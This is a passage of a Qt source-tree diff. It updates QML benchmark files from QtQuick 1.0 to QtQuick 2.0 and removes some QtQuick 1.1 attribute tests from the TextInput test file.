ReferenceError: Can't find variable: deselect" - << ""; - - QTest::newRow("onLinkActivated") << "onLinkActivated: {}" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"TextEdit.onLinkActivated\" is not available in QtQuick 1.0.\n"; -} - void tst_qquicktextedit::preeditCursorRectangle() { QString preeditText = "super"; diff --git a/tests/auto/qtquick2/qquicktextinput/tst_qquicktextinput.cpp b/tests/auto/qtquick2/qquicktextinput/tst_qquicktextinput.cpp index 0ff3f792c3..ee1a3bbd20 100644 --- a/tests/auto/qtquick2/qquicktextinput/tst_qquicktextinput.cpp +++ b/tests/auto/qtquick2/qquicktextinput/tst_qquicktextinput.cpp @@ -156,8 +156,6 @@ private slots: void passwordEchoDelay(); #endif void geometrySignals(); - void testQtQuick11Attributes(); - void testQtQuick11Attributes_data(); void preeditAutoScroll(); void preeditCursorRectangle(); @@ -2792,49 +2790,6 @@ void tst_qquicktextinput::geometrySignals() delete o; } -void tst_qquicktextinput::testQtQuick11Attributes() -{ - QFETCH(QString, code); - QFETCH(QString, warning); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QObject *obj; - - QDeclarativeComponent valid(&engine); - valid.setData("import QtQuick 2.0; TextInput { " + code.toUtf8() + " }", QUrl("")); - obj = valid.create(); - QVERIFY(obj); - QVERIFY(valid.errorString().isEmpty()); - delete obj; - - QDeclarativeComponent invalid(&engine); - invalid.setData("import QtQuick 1.0; TextInput { " + code.toUtf8() + " }", QUrl("")); - QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); - obj = invalid.create(); - QCOMPARE(invalid.errorString(), error); - delete obj; -} - -void tst_qquicktextinput::testQtQuick11Attributes_data() -{ - QTest::addColumn("code"); - QTest::addColumn("warning"); - QTest::addColumn("error"); - - QTest::newRow("canPaste") << "property bool foo: canPaste" - << ":1: ReferenceError: Can't find variable: canPaste" - << ""; - - QTest::newRow("moveCursorSelection") << "Component.onCompleted: moveCursorSelection(0, TextEdit.SelectCharacters)" - << ":1: ReferenceError: Can't find variable: moveCursorSelection" - << ""; - - QTest::newRow("deselect") << "Component.onCompleted: deselect()" - << ":1: ReferenceError: Can't find variable: deselect" - << ""; -} - static void sendPreeditText(const QString &text, int cursor) { QInputMethodEvent event(text, QList() diff --git a/tests/benchmarks/declarative/compilation/data/BoomBlock.qml b/tests/benchmarks/declarative/compilation/data/BoomBlock.qml index 1aadbb5680..58ef377b71 100644 --- a/tests/benchmarks/declarative/compilation/data/BoomBlock.qml +++ b/tests/benchmarks/declarative/compilation/data/BoomBlock.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.labs.particles 1.0 Item { diff --git a/tests/benchmarks/declarative/creation/data/item.qml b/tests/benchmarks/declarative/creation/data/item.qml index 579320c9f8..ebc50ceb13 100644 --- a/tests/benchmarks/declarative/creation/data/item.qml +++ b/tests/benchmarks/declarative/creation/data/item.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Item { Item {} diff --git a/tests/benchmarks/declarative/creation/data/qobject.qml b/tests/benchmarks/declarative/creation/data/qobject.qml index 0d97136e22..4b59535bcb 100644 --- a/tests/benchmarks/declarative/creation/data/qobject.qml +++ b/tests/benchmarks/declarative/creation/data/qobject.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 QtObject { } diff --git a/tests/benchmarks/declarative/creation/tst_creation.cpp b/tests/benchmarks/declarative/creation/tst_creation.cpp index d920ff1682..809271e4d2 100644 --- a/tests/benchmarks/declarative/creation/tst_creation.cpp +++ b/tests/benchmarks/declarative/creation/tst_creation.cpp @@ -125,7 +125,7 @@ void tst_creation::qobject_cpp() void tst_creation::qobject_qml() { QDeclarativeComponent component(&engine); - component.setData("import QtQuick 1.0\nQtObject {}", QUrl()); + component.setData("import QtQuick 2.0\nQtObject {}", QUrl()); QObject *obj = component.create(); delete obj; diff --git a/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicFour.qml b/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicFour.qml index ce135149d9..ccccc371ac 100644 --- a/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicFour.qml +++ b/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicFour.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Item { id: root diff --git a/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicOne.qml b/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicOne.qml index 87d3330596..154f9db9a3 100644 --- a/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicOne.qml +++ b/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicOne.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Item { id: root diff --git a/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicThree.qml b/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicThree.qml index be4f16f882..064ba57254 100644 --- a/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicThree.qml +++ b/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicThree.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Item { id: root diff --git a/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicTwo.qml b/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicTwo.qml index 9fc445f8a9..a3aac3ebd6 100644 --- a/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicTwo.qml +++ b/tests/benchmarks/declarative/holistic/data/dynamicTargets/DynamicTwo.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Item { id: root diff --git a/tests/benchmarks/declarative/holistic/data/jsImports/Mlbsi.qml b/tests/benchmarks/declarative/holistic/data/jsImports/Mlbsi.qml index c0393fc222..854cc3258d 100644 --- a/tests/benchmarks/declarative/holistic/data/jsImports/Mlbsi.qml +++ b/tests/benchmarks/declarative/holistic/data/jsImports/Mlbsi.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import "mlbsi.js" as MlbsiJs diff --git a/tests/benchmarks/declarative/holistic/data/jsImports/Mldsi.qml b/tests/benchmarks/declarative/holistic/data/jsImports/Mldsi.qml index 528215a4a2..919fce1c46 100644 --- a/tests/benchmarks/declarative/holistic/data/jsImports/Mldsi.qml +++ b/tests/benchmarks/declarative/holistic/data/jsImports/Mldsi.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import "mldsi.js" as MldsiJs diff --git a/tests/benchmarks/declarative/holistic/data/jsImports/Mlsi.qml b/tests/benchmarks/declarative/holistic/data/jsImports/Mlsi.qml index 9184a629f3..74451f85fd 100644 --- a/tests/benchmarks/declarative/holistic/data/jsImports/Mlsi.qml +++ b/tests/benchmarks/declarative/holistic/data/jsImports/Mlsi.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import "mlsi.js" as MlsiJs diff --git a/tests/benchmarks/declarative/holistic/data/jsImports/ModuleBm.qml b/tests/benchmarks/declarative/holistic/data/jsImports/ModuleBm.qml index a07a2c3b10..18ef8a2599 100644 --- a/tests/benchmarks/declarative/holistic/data/jsImports/ModuleBm.qml +++ b/tests/benchmarks/declarative/holistic/data/jsImports/ModuleBm.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import "moduleBm.js" as ModuleBmJs diff --git a/tests/benchmarks/declarative/holistic/data/jsImports/Msbsi.qml b/tests/benchmarks/declarative/holistic/data/jsImports/Msbsi.qml index d83c58bf10..d7a8b74dd1 100644 --- a/tests/benchmarks/declarative/holistic/data/jsImports/Msbsi.qml +++ b/tests/benchmarks/declarative/holistic/data/jsImports/Msbsi.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import "msbsi.js" as MsbsiJs diff --git a/tests/benchmarks/declarative/holistic/data/jsImports/Msdsi.qml b/tests/benchmarks/declarative/holistic/data/jsImports/Msdsi.qml index d4c05746ba..266a26ef8e 100644 --- a/tests/benchmarks/declarative/holistic/data/jsImports/Msdsi.qml +++ b/tests/benchmarks/declarative/holistic/data/jsImports/Msdsi.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import "msdsi.js" as MsdsiJs diff --git a/tests/benchmarks/declarative/holistic/data/jsImports/Mssi.qml b/tests/benchmarks/declarative/holistic/data/jsImports/Mssi.qml index 89a7d4fbb2..e589981252 100644 --- a/tests/benchmarks/declarative/holistic/data/jsImports/Mssi.qml +++ b/tests/benchmarks/declarative/holistic/data/jsImports/Mssi.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import "mssi.js" as MssiJs diff --git a/tests/benchmarks/declarative/holistic/data/jsImports/PragmaBm.qml b/tests/benchmarks/declarative/holistic/data/jsImports/PragmaBm.qml index 7702d11156..f5753af88b 100644 --- a/tests/benchmarks/declarative/holistic/data/jsImports/PragmaBm.qml +++ b/tests/benchmarks/declarative/holistic/data/jsImports/PragmaBm.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import "pragmaBmOne.js" as PragmaBmOneJs import "pragmaBmTwo.js" as PragmaBmTwoJs diff --git a/tests/benchmarks/declarative/holistic/data/jsImports/PragmaModuleBm.qml b/tests/benchmarks/declarative/holistic/data/jsImports/PragmaModuleBm.qml index 01a4fcb2d9..8e1baa8572 100644 --- a/tests/benchmarks/declarative/holistic/data/jsImports/PragmaModuleBm.qml +++ b/tests/benchmarks/declarative/holistic/data/jsImports/PragmaModuleBm.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import "pragmaModuleBm.js" as PragmaModuleBmJs diff --git a/tests/benchmarks/declarative/holistic/data/jsImports/Slsi.qml b/tests/benchmarks/declarative/holistic/data/jsImports/Slsi.qml index 624a2e3838..aa21358b47 100644 --- a/tests/benchmarks/declarative/holistic/data/jsImports/Slsi.qml +++ b/tests/benchmarks/declarative/holistic/data/jsImports/Slsi.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import "slsi.js" as SlsiJs diff --git a/tests/benchmarks/declarative/holistic/data/jsImports/Sssi.qml b/tests/benchmarks/declarative/holistic/data/jsImports/Sssi.qml index c6834a5b41..0ed7a3ee72 100644 --- a/tests/benchmarks/declarative/holistic/data/jsImports/Sssi.qml +++ b/tests/benchmarks/declarative/holistic/data/jsImports/Sssi.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import "sssi.js" as SssiJs diff --git a/tests/benchmarks/declarative/holistic/data/jsTargets/JsOne.qml b/tests/benchmarks/declarative/holistic/data/jsTargets/JsOne.qml index 52196d1a5e..41d4ff5bbd 100644 --- a/tests/benchmarks/declarative/holistic/data/jsTargets/JsOne.qml +++ b/tests/benchmarks/declarative/holistic/data/jsTargets/JsOne.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Item { id: root diff --git a/tests/benchmarks/declarative/holistic/data/jsTargets/JsTwo.qml b/tests/benchmarks/declarative/holistic/data/jsTargets/JsTwo.qml index f239482b33..cb5da5a22d 100644 --- a/tests/benchmarks/declarative/holistic/data/jsTargets/JsTwo.qml +++ b/tests/benchmarks/declarative/holistic/data/jsTargets/JsTwo.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Item { id: root diff --git a/tests/benchmarks/declarative/holistic/data/largeTargets/gridview-example.qml b/tests/benchmarks/declarative/holistic/data/largeTargets/gridview-example.qml index cc0d0ea4b4..373b1b8ced 100644 --- a/tests/benchmarks/declarative/holistic/data/largeTargets/gridview-example.qml +++ b/tests/benchmarks/declarative/holistic/data/largeTargets/gridview-example.qml @@ -38,7 +38,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Rectangle { width: 300; height: 400 diff --git a/tests/benchmarks/declarative/holistic/data/largeTargets/layoutdirection.qml b/tests/benchmarks/declarative/holistic/data/largeTargets/layoutdirection.qml index eecedc5769..9f039594b3 100644 --- a/tests/benchmarks/declarative/holistic/data/largeTargets/layoutdirection.qml +++ b/tests/benchmarks/declarative/holistic/data/largeTargets/layoutdirection.qml @@ -38,7 +38,7 @@ ** ****************************************************************************/ -import QtQuick 1.1 +import QtQuick 2.0 Rectangle { diff --git a/tests/benchmarks/declarative/holistic/data/largeTargets/mousearea-example.qml b/tests/benchmarks/declarative/holistic/data/largeTargets/mousearea-example.qml index b899e86599..4c82b58302 100644 --- a/tests/benchmarks/declarative/holistic/data/largeTargets/mousearea-example.qml +++ b/tests/benchmarks/declarative/holistic/data/largeTargets/mousearea-example.qml @@ -38,7 +38,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Rectangle { id: box diff --git a/tests/benchmarks/declarative/holistic/data/resolutionTargets/ResolveOne.qml b/tests/benchmarks/declarative/holistic/data/resolutionTargets/ResolveOne.qml index 0f03f85e5c..2673ac36ed 100644 --- a/tests/benchmarks/declarative/holistic/data/resolutionTargets/ResolveOne.qml +++ b/tests/benchmarks/declarative/holistic/data/resolutionTargets/ResolveOne.qml @@ -43,7 +43,7 @@ // This will allow us to benchmark the cost of resolving names in // bindings. -import QtQuick 1.0 +import QtQuick 2.0 Item { id: root diff --git a/tests/benchmarks/declarative/holistic/data/scopeSwitching/CppToJs.qml b/tests/benchmarks/declarative/holistic/data/scopeSwitching/CppToJs.qml index 4bad9678a2..d319f6e8cb 100644 --- a/tests/benchmarks/declarative/holistic/data/scopeSwitching/CppToJs.qml +++ b/tests/benchmarks/declarative/holistic/data/scopeSwitching/CppToJs.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import "cppToJs.js" as CppToJs Item { diff --git a/tests/benchmarks/declarative/holistic/data/scopeSwitching/CppToQml.qml b/tests/benchmarks/declarative/holistic/data/scopeSwitching/CppToQml.qml index 2fa3841137..a9d064f740 100644 --- a/tests/benchmarks/declarative/holistic/data/scopeSwitching/CppToQml.qml +++ b/tests/benchmarks/declarative/holistic/data/scopeSwitching/CppToQml.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Item { id: root diff --git a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppEight.qml b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppEight.qml index c70846282e..97bb125bfc 100644 --- a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppEight.qml +++ b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppEight.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppEleven.qml b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppEleven.qml index aa4f3f93de..2258e82500 100644 --- a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppEleven.qml +++ b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppEleven.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppFive.qml b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppFive.qml index e01bdafab4..f349d0fcbf 100644 --- a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppFive.qml +++ b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppFive.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppFour.qml b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppFour.qml index 57cb1c2e4e..267d36fba2 100644 --- a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppFour.qml +++ b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppFour.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppNine.qml b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppNine.qml index ce14524838..ec3772ea62 100644 --- a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppNine.qml +++ b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppNine.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppOne.qml b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppOne.qml index 085d62694a..e4a3c1acc2 100644 --- a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppOne.qml +++ b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppOne.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppSeven.qml b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppSeven.qml index 654de9d3b5..56c18a02db 100644 --- a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppSeven.qml +++ b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppSeven.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppSix.qml b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppSix.qml index f6750afe61..c14c43075b 100644 --- a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppSix.qml +++ b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppSix.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppTen.qml b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppTen.qml index 41d2309cf6..05ededef38 100644 --- a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppTen.qml +++ b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppTen.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppThree.qml b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppThree.qml index d62a007acc..2f11f9acb3 100644 --- a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppThree.qml +++ b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppThree.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppTwo.qml b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppTwo.qml index d2cc0f9cb7..0fe6d18507 100644 --- a/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppTwo.qml +++ b/tests/benchmarks/declarative/holistic/data/scopeSwitching/JsToCppTwo.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/benchmarks/declarative/holistic/data/scopeSwitching/ScarceOne.qml b/tests/benchmarks/declarative/holistic/data/scopeSwitching/ScarceOne.qml index 527cd39b0e..d604242a99 100644 --- a/tests/benchmarks/declarative/holistic/data/scopeSwitching/ScarceOne.qml +++ b/tests/benchmarks/declarative/holistic/data/scopeSwitching/ScarceOne.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/benchmarks/declarative/holistic/data/scopeSwitching/ScarceTwo.qml b/tests/benchmarks/declarative/holistic/data/scopeSwitching/ScarceTwo.qml index 13ee298e87..cd79bb8074 100644 --- a/tests/benchmarks/declarative/holistic/data/scopeSwitching/ScarceTwo.qml +++ b/tests/benchmarks/declarative/holistic/data/scopeSwitching/ScarceTwo.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import Qt.test 1.0 Item { diff --git a/tests/benchmarks/declarative/holistic/data/smallTargets/SmallFour.qml b/tests/benchmarks/declarative/holistic/data/smallTargets/SmallFour.qml index 059cee2da7..80af3bfee9 100644 --- a/tests/benchmarks/declarative/holistic/data/smallTargets/SmallFour.qml +++ b/tests/benchmarks/declarative/holistic/data/smallTargets/SmallFour.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Text { text: "Hello World!" diff --git a/tests/benchmarks/declarative/holistic/data/smallTargets/SmallOne.qml b/tests/benchmarks/declarative/holistic/data/smallTargets/SmallOne.qml index de33c039f4..58d52fe25d 100644 --- a/tests/benchmarks/declarative/holistic/data/smallTargets/SmallOne.qml +++ b/tests/benchmarks/declarative/holistic/data/smallTargets/SmallOne.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Rectangle { width: 100 diff --git a/tests/benchmarks/declarative/holistic/data/smallTargets/SmallThree.qml b/tests/benchmarks/declarative/holistic/data/smallTargets/SmallThree.qml index b4f0400776..a3e27f9ad6 100644 --- a/tests/benchmarks/declarative/holistic/data/smallTargets/SmallThree.qml +++ b/tests/benchmarks/declarative/holistic/data/smallTargets/SmallThree.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Rectangle { width: 100; height: 100 diff --git a/tests/benchmarks/declarative/holistic/data/smallTargets/SmallTwo.qml b/tests/benchmarks/declarative/holistic/data/smallTargets/SmallTwo.qml index aaeec68313..3ff2c5e8b0 100644 --- a/tests/benchmarks/declarative/holistic/data/smallTargets/SmallTwo.qml +++ b/tests/benchmarks/declarative/holistic/data/smallTargets/SmallTwo.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Rectangle { width: 100 diff --git a/tests/benchmarks/declarative/javascript/data/NestedIdObject.qml b/tests/benchmarks/declarative/javascript/data/NestedIdObject.qml index 410ee00ddc..753d547ace 100644 --- a/tests/benchmarks/declarative/javascript/data/NestedIdObject.qml +++ b/tests/benchmarks/declarative/javascript/data/NestedIdObject.qml @@ -1,4 +1,4 @@ -import QtQuick 1.0 +import QtQuick 2.0 QtObject { function runtest() { diff --git a/tests/benchmarks/declarative/javascript/data/localId.qml b/tests/benchmarks/declarative/javascript/data/localId.qml index 474d0760a3..d42b891092 100644 --- a/tests/benchmarks/declarative/javascript/data/localId.qml +++ b/tests/benchmarks/declarative/javascript/data/localId.qml @@ -1,6 +1,6 @@ // Benchmarks the cost of accessing an id in the same file as the script. -import QtQuick 1.0 +import QtQuick 2.0 QtObject { id: root diff --git a/tests/benchmarks/declarative/javascript/data/nestedId.qml b/tests/benchmarks/declarative/javascript/data/nestedId.qml index 49c4e3ca43..538699d452 100644 --- a/tests/benchmarks/declarative/javascript/data/nestedId.qml +++ b/tests/benchmarks/declarative/javascript/data/nestedId.qml @@ -1,6 +1,6 @@ // Benchmarks the cost of accessing an id in a parent context of the script. -import QtQuick 1.0 +import QtQuick 2.0 QtObject { id: root diff --git a/tests/benchmarks/declarative/qdeclarativecomponent/data/object.qml b/tests/benchmarks/declarative/qdeclarativecomponent/data/object.qml index 6dc54e43e9..91371c80d6 100644 --- a/tests/benchmarks/declarative/qdeclarativecomponent/data/object.qml +++ b/tests/benchmarks/declarative/qdeclarativecomponent/data/object.qml @@ -39,6 +39,6 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 QtObject {} diff --git a/tests/benchmarks/declarative/qdeclarativecomponent/data/object_id.qml b/tests/benchmarks/declarative/qdeclarativecomponent/data/object_id.qml index 0d69d440fe..240f27b4ac 100644 --- a/tests/benchmarks/declarative/qdeclarativecomponent/data/object_id.qml +++ b/tests/benchmarks/declarative/qdeclarativecomponent/data/object_id.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 QtObject { id: blah diff --git a/tests/benchmarks/declarative/qdeclarativecomponent/data/synthesized_properties.2.qml b/tests/benchmarks/declarative/qdeclarativecomponent/data/synthesized_properties.2.qml index 73c580a9fd..3a86c48af1 100644 --- a/tests/benchmarks/declarative/qdeclarativecomponent/data/synthesized_properties.2.qml +++ b/tests/benchmarks/declarative/qdeclarativecomponent/data/synthesized_properties.2.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 QtObject { property int a diff --git a/tests/benchmarks/declarative/qdeclarativecomponent/data/synthesized_properties.qml b/tests/benchmarks/declarative/qdeclarativecomponent/data/synthesized_properties.qml index 05a5771307..9d4dc03c82 100644 --- a/tests/benchmarks/declarative/qdeclarativecomponent/data/synthesized_properties.qml +++ b/tests/benchmarks/declarative/qdeclarativecomponent/data/synthesized_properties.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 QtObject { property int a diff --git a/tests/benchmarks/declarative/qdeclarativemetaproperty/data/object.qml b/tests/benchmarks/declarative/qdeclarativemetaproperty/data/object.qml index 4b4577db48..c386df72a3 100644 --- a/tests/benchmarks/declarative/qdeclarativemetaproperty/data/object.qml +++ b/tests/benchmarks/declarative/qdeclarativemetaproperty/data/object.qml @@ -39,6 +39,6 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Item {} diff --git a/tests/benchmarks/declarative/qdeclarativemetaproperty/data/synthesized_object.qml b/tests/benchmarks/declarative/qdeclarativemetaproperty/data/synthesized_object.qml index a215e2013b..6eec87aea1 100644 --- a/tests/benchmarks/declarative/qdeclarativemetaproperty/data/synthesized_object.qml +++ b/tests/benchmarks/declarative/qdeclarativemetaproperty/data/synthesized_object.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 Item { property int blah diff --git a/tests/benchmarks/declarative/qmltime/example.qml b/tests/benchmarks/declarative/qmltime/example.qml index e9a781bef9..f608963930 100644 --- a/tests/benchmarks/declarative/qmltime/example.qml +++ b/tests/benchmarks/declarative/qmltime/example.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/qmltime.cpp b/tests/benchmarks/declarative/qmltime/qmltime.cpp index 2892405fb0..f33b9205e7 100644 --- a/tests/benchmarks/declarative/qmltime/qmltime.cpp +++ b/tests/benchmarks/declarative/qmltime/qmltime.cpp @@ -177,7 +177,7 @@ void usage(const char *name) "\n" "we would create a benchmark file that looks like this:\n" "\n" - "import QtQuick 1.0\n" + "import QtQuick 2.0\n" "import QmlTime 1.0 as QmlTime\n" "\n" "Item {\n" diff --git a/tests/benchmarks/declarative/qmltime/tests/anchors/empty.qml b/tests/benchmarks/declarative/qmltime/tests/anchors/empty.qml index 19513ba12c..b08b43268c 100644 --- a/tests/benchmarks/declarative/qmltime/tests/anchors/empty.qml +++ b/tests/benchmarks/declarative/qmltime/tests/anchors/empty.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/anchors/fill.qml b/tests/benchmarks/declarative/qmltime/tests/anchors/fill.qml index be6ee28fd1..a173050427 100644 --- a/tests/benchmarks/declarative/qmltime/tests/anchors/fill.qml +++ b/tests/benchmarks/declarative/qmltime/tests/anchors/fill.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/anchors/null.qml b/tests/benchmarks/declarative/qmltime/tests/anchors/null.qml index fe209d613d..ea01839e14 100644 --- a/tests/benchmarks/declarative/qmltime/tests/anchors/null.qml +++ b/tests/benchmarks/declarative/qmltime/tests/anchors/null.qml @@ -39,7 +39,7 @@ ** ****************************************************************************/ -import QtQuick 1.0 +import QtQuick 2.0 import QmlTime 1.0 as QmlTime Item { diff --git a/tests/benchmarks/declarative/qmltime/tests/animation/large.qml b/tests/benchmarks/declarative/qmltime/tests/animation/large.qml index 5783f2ba0b..b58de4955b 100644 --- a/tests/benchmarks/declarative/qmltime/tests/animation/large.qml +++ b/tests/benchmarks/declarative/qmltime/tests/animation/large.qml @@ -39,7 +39,7 @@ ** 